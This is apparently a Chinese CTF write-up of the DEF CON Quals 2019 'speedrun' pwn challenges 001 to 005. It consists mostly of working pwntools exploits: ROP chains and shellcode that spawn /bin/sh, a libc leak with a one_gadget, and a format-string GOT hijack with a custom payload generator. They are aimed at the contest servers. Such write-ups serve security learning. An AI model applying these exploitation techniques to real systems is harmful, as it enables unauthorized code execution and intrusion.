DCQ2019_speedrun1-5
Easy challenges in DCQ
start
speedrun-001
挺简单的一题溢出但是很玄学的是本地打通了远端打不通… 但是我发现居然是概率打通..我脚本没改过有时候打得通有时候打不通..玄学问题. 比较简单的题目就直接放exp了
from pwn import *
from struct import pack
puts=0x000000000410390
read=0x0000000004498A0
rax=0x0000000000415664
rdi=0x0000000000400686
bss=0x006b6000+0x3000
rsi=0x00000000004101f3
rdx=0x00000000004498b5
sys=0x0000000000474e65
setvbuf=0x000000000410590
push_rdi=0x00000000004236a5
push_rax_push_rsp=0x0000000000450ae3
rdx_rsi=0x000000000044be39
context.log_level='debug'
context.arch="amd64"
p=process('./speedrun-001')
#p=remote("52.53.247.202",31337)
#gdb.attach(p,'b * 0x000000000400B8B')
#p64(rdi)+p64(0x00000000006b9140)+p64(rsi)+p64(0)+p64(rdx)+p64(2)+p64(setvbuf)
payload='\x00'*0x408+p64(rdi)+p64(0)+p64(rdx_rsi)+p64(8)+p64(bss)+p64(rax)+p64(0)+p64(sys)
payload+=p64(rax)+p64(0x3b)+p64(rdi)+p64(bss)+p64(rdx_rsi)+p64(0)+p64(0)+p64(sys)
p.sendafter("words?\n",payload.ljust(0x7d0,'\x00'))
p.sendafter(" say: \n","/bin/sh\x00")
#p.sendline("cat flag")
p.interactive()
speedrun-002
- bof
from pwn import * puts=0x0000000004005B0 rdi=0x00000000004008a3 got=0x000000000601028 reuse=0x00000000040074C #context.log_level='debug' libc=ELF("./libc6_2.27-3ubuntu1_amd64.so") #p=process('./speedrun-002') pay1=p64(rdi)+p64(got)+p64(puts)+p64(reuse) p=remote("speedrun-002.quals2019.oooverflow.io",31337) p.sendafter("now?\n","Everything intelligent is so boring.") p.sendafter("me more.\n",'\x00'*0x408+pay1) p.readuntil("ing.\n") base=u64(p.readline()[:-1].ljust(8,'\x00'))-libc.sym['puts'] log.info(hex(base)) #gdb.attach(p,'') #raw_input() p.sendafter("now?\n","Everything intelligent is so boring.") pay2=p64(base+0x4f322) p.sendafter("me more.\n",'\x00'*0x408+pay2) sleep(0.8) p.sendline("cat flag") p.interactive() #OOO{I_didn't know p1zzA places__mAde pwners.}
speedrun-003
- shellcode ```python from pwn import * def xor(s,l=0xf): res=0x0 i=0 for x in s: i+=1 res^=ord(x) if i==l: return res
context.log_level=’debug’ context.arch=’amd64’ #p=process(‘./speedrun-003’) #gdb.attach(p,’b *0x000555555554997’) p=remote(“speedrun-003.quals2019.oooverflow.io”,31337) sh=’’’ xor rsi,rsi xor rdx,rdx mov al,0x68 push rax mov rdi,0x732f2f2f6e69622f push rdi mov rdi,rsp mov al,0x3b syscall ‘’’ payload=asm(sh).ljust(0x1d,’\x01’) fff=xor(payload) eee=xor(payload[0xf:],0xe) aaa=eee^fff payload+=chr(aaa) p.sendafter(“drift\n”,payload) sleep(0.8) p.sendline(“cat /flag”) p.interactive()
# speedrun-004
* bof
```python
from pwn import *
ret=0x0000000000400416
rdi=0x0000000000400686
rsi=0x0000000000410a93
rdx=0x000000000044a155
sys=0x0000000000474f15
bss=0x006b6000+0x800
rax=0x0000000000415f04
read=0x00000000044A140
#context.log_level='debug'
context.arch='amd64'
p=remote("speedrun-004.quals2019.oooverflow.io",31337)
#p=process('./speedrun-004')
#gdb.attach(p,'b *0x000000000400BD1')
p.sendlineafter("?\n",str(0x101))
pay=p64(ret)*15+p64(rdi)+p64(bss-0x800)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)+p64(rax)+p64(0xa)+p64(sys)
pay+=p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x40)+p64(read)+p64(bss)
pay+="\x30"
p.sendafter("?\n",pay)
p.sendline(asm(shellcraft.sh()))
p.interactive()
speedrun-005
这题的形式没见过讲一下…
题目本身是挺简单的的主要是存在fmtstr
漏洞又没有开pie
和只开了partial relro
所以我们可以通过got hijacking
来控制执行流.
主要的特点是发现远端的binary
和本地的不同所以得先利用printf
来dump
确定一些gadget
的地址
于是我写了一些函数用来dump
内存和确定指定gadget
的地址
from pwn import *
context.log_level='debug'
def cal(a,b):
if (a-b)>0:
return a-b
else:
return a-b+0x10000
def seek(seek,l=0):
while(1):
seek=seek+l
p=remote("speedrun-005.quals2019.oooverflow.io",31337)
#gdb.attach(p)
pay="%{}$s".format(38).ljust(0x100,'\x00')+p64(seek)
p.sendlineafter("? ",pay)
p.readuntil("ing ")
data=p.readline()
l=len(data)
if "\x5f\xc3" in data:
raw_input()
p.close()
def preciser(seek):
while(1):
seek=seek+1
p=remote("speedrun-005.quals2019.oooverflow.io",31337)
#gdb.attach(p)
pay="%{}$s".format(38).ljust(0x100,'\x00')+p64(seek)
p.sendlineafter("? ",pay)
p.readuntil("ing ")
data=p.readline()
if not "\x5f\xc3" in data:
log.warning(hex(seek))
raw_input()
p.close()
在获得了确切地址之后就可以直接call onegadget
但是…明明我把$rsp+0x70
设置为0了但是却没有成功…于是我开始控制stack
来控制执行流…
期间遇到两个坑:
xmm
libc-2.27编译的时候被优化在执行system('/bin/sh')
期间有用到xmm寄存器主要可能出错的地方是
0x7ffff7a332e6 <do_system+1078>: movq xmm0,QWORD PTR [rsp+0x8]
0x7ffff7a332ec <do_system+1084>: mov QWORD PTR [rsp+0x8],rax
0x7ffff7a332f1 <do_system+1089>: movhps xmm0,QWORD PTR [rsp+0x8]
=> 0x7ffff7a332f6 <do_system+1094>: movaps XMMWORD PTR [rsp+0x40],xmm0
此处因为xmm寄存器有128位要求rsp+0x40要按照字对齐所以我们在call_system
的时候的栈地址要按照字对齐.
fmtstr
本题我的思路
- 改的
got@puts
顺便泄漏 - 改写
stack
上内容为rop
做准备 - 改写
got@puts
触发rop_chain
发现工程量有点大….加上远端有个5秒左右的alarm
.所以只能一次把所有值设置好了….题目给的缓冲区比较充裕. 但是pwntools
里自带的fmtstr_payload工具有些睿智….把地址放前面把自己给’\x00’截断了…. 于是自己写了个比较简陋的工具.shellcraft
… ```python from pwn import * def fmt(prev, word, index): if prev < word: result = word - prev fmtstr = “%” + str(result) + “c” elif prev == word: result = 0 else: result = 256 + word - prev fmtstr = “%” + str(result) + “c” fmtstr += “%” + str(index) + “$hhn” return fmtstr def cal(i): if i<0: return i+256 return i def fmtstr(off,data,pre=0,space=0x180,arch=’amd64’,): if arch!=’amd64’: return False part2=”” for key in data.keys(): for offset in range(8): part2+=p64(key+offset) part1=”” idx=0 for value in data.values(): for offset in range(8): if value==0 and pre==0: part1+=”%”+str(off+idx+(space/8))+”$hhn” idx+=1 else: #print hex(value&0xff),hex(pre),hex(cal((value&0xff)-pre)) part1+=”%”+str(cal((value&0xff)-pre))+”c%”+str(off+(space/8)+idx)+”$hhn” pre=value&0xff value=value»8 idx+=1 return part1.ljust(space,”\x00”)+part2
## exp
```python
import fmtcraft
import time
from pwn import *
context.arch='amd64'
context.log_level='debug'
def cal(a,b):
if (a-b)>0:
return a-b
else:
return a-b+0x10000
def setvalue(address,value):
p1=value&0xffff
p2=(value&0xffff0000)>>16
p3=(value&0xffffffff00000000)>>32
pay="%{}c%{}$hn%{}c%{}$hn%{}c%{}$hn".format(p1,39,cal(p2,p1),40,cal(p3,p2),38).ljust(0x100,'\x00')+p64(address+4)+p64(address)+p64(address+2)
p.sendlineafter("? ",pay)
libc=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
exp=1
local=0
if local:
ret=0x0000000004007e4
rdi=0x0000000004007E3
got=0x000000000601018
reuse=0x69d
p=process('./speedrun-005')
else:
ret=0x0000000000400894
rdi=0x0000000000400893
got=0x000000000601020
reuse=0x72d
p=remote("speedrun-005.quals2019.oooverflow.io",31337)
if exp:
pay="%{}$n%{}c%{}$hn%{}c%{}$hn|%1$p|%2$p|".format(38,0x40,40,reuse-0x40,39).ljust(0x100,'\x00')+p64(got+4)+p64(got)+p64(got+2)
p.sendlineafter("? ",pay)
p.readuntil("|")
stack=int(p.readuntil("|")[:-1],16)
base=int(p.readuntil("|")[:-1],16)-(0x7ffff7dd18c0-0x7ffff79e4000)
log.info(hex(stack))
log.info(hex(base))
# set value
libc.address=base
aim=0x7fffffffdfa8-0x7fffffffb4f0+stack
address=aim
sh=libc.search('/bin/sh').next()
sys=libc.sym['system']
puts=libc.sym['puts']
data = {aim:rdi,aim+8:sh,aim+0x10:ret,aim+0x18:sys,got:puts}
pay=fmtcraft.fmtstr(6,data,space=0x200)
#gdb.attach(p)
p.sendlineafter("? ",pay)
p.interactive()
speedrun1-5
总体难度不大…但是如果比速度的话很考验功底了…比赛的时候同时在运维另一个比赛做题做的断断续续…好像现在dcq平台还不给登陆了…桑❤️